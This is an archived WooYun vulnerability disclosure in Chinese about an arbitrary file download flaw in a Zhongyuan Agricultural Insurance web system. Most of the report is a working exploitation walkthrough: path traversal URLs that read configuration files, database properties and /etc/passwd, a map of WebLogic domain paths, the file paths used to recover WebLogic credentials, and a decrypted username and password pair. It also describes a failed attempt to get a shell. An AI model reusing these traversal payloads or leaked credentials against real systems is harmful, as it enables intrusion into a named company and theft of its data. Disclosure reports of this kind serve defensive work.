中原农业保险某系统存在任意文件下载漏洞(一次失败的getshell经历)

编号213351
Urlhttp://www.wooyun.org/bug.php?action=view&id=213351
漏洞状态已交由第三方合作机构(cncert国家互联网应急中心)处理
漏洞标题中原农业保险某系统存在任意文件下载漏洞(一次失败的getshell经历)
漏洞类型任意文件遍历/下载
厂商中原农业保险
白帽子路人甲
提交日期2016-05-27 12:19:00
公开日期2016-07-15 10:00:00
修复时间(not set)
确认时间2016-05-31 00:00:00
Confirm Spend4
漏洞标签
关注数0
收藏数0
白帽评级
白帽自评rank20
厂商评级
厂商评rank8
漏洞简介
任意文件下载
漏洞细节

http://**.**.**.**/

QQ截图20160526204523.png


http://**.**.**.**.cn/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2FWEB-INF%2Fweb.xml


QQ截图20160526204848.png

POC

http://**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2FWEB-INF%2Fclasses%2Fspring%2FapplicationContext.xml


QQ截图20160526205144.png


数据库

http://**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2FWEB-INF%2Fclasses%2Fapplication.properties


QQ截图20160526205416.png


http://**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

QQ截图20160526205611.png


QQ截图20160526205926.png


试试看能不能把weblogic密码那些载下来

QQ截图20160526210232.png


慢慢找

/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/bin
/home/weblogic/Oracle/Middleware/user_projects/domains/interfaceService_domain8099/bin/


QQ截图20160526211524.png


数据库

QQ截图20160526212307.png


QQ截图20160526213443.png


就差SerializedSystemIni.dat了
路径在
**.**.**.**/ecommerce/proposal/xueping/xuePingController/downloadClause?fileName=../../../../../../../../home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/security/SerializedSystemIni.dat
但是问题来了,解开了确无法登录是什么鬼
WLdomain8091/bD2BawP7
顺便把我找到的路径都发出来
系统的程序都放在/home/weblogic/source/
一共有5套,包括支付接口、投保程序、手机站等等
分别是
/home/weblogic/source/wap/WEB-INF/web.xml
/home/weblogic/source/background/WEB-INF/web.xml
/home/weblogic/source/payment/WEB-INF/web.xml
/home/weblogic/source/ecommerce/WEB-INF/web.xml
/home/weblogic/source/interfaceService/WEB-INF/web.xml
所以对应的domain路径有5个
/home/weblogic/Oracle/Middleware/user_projects/domains/interfaceService_domain8099
/home/weblogic/Oracle/Middleware/user_projects/domains/wap_domain8094/servers/wapServer8094
/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/servers/ecommerceServer8091
/home/weblogic/Oracle/Middleware/user_projects/domains/payment_domain8096/servers/paymentServer8096
/home/weblogic/Oracle/Middleware/user_projects/domains/ecm_domain8098/servers/ecmServer8098
根据web的xml来判断,问题站点的domain应该是、
/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/security/SerializedSystemIni.dat
/home/weblogic/Oracle/Middleware/user_projects/domains/ecommerce_domain8091/servers/ecommerceServer8091/security/boot.properties
最后解得
WLdomain8091/bD2BawP7,可惜登录失败,求解

修复方案

过滤

状态信息 2016-05-27: 细节已通知厂商并且等待厂商处理中
2016-05-31: 厂商已经确认,细节仅向厂商公开
2016-06-10: 细节向核心白帽子及相关领域专家公开
2016-06-20: 细节向普通白帽子公开
2016-06-30: 细节向实习白帽子公开
2016-07-15: 细节向公众公开
厂商回复CNVD确认并复现所述情况,已经转由CNCERT向保险行业信息化主管部门通报,由其后续协调网站管理单位处置.
回应信息危害等级:中漏洞Rank:8 确认时间:2016-05-31 09:57
Showing 1-2 of 2 items.
评论内容评论人点赞数评论时间

估计是...

_Thorns02016-07-15 10:21:00

用户名找错了吧?

1c3z02016-07-15 10:13:00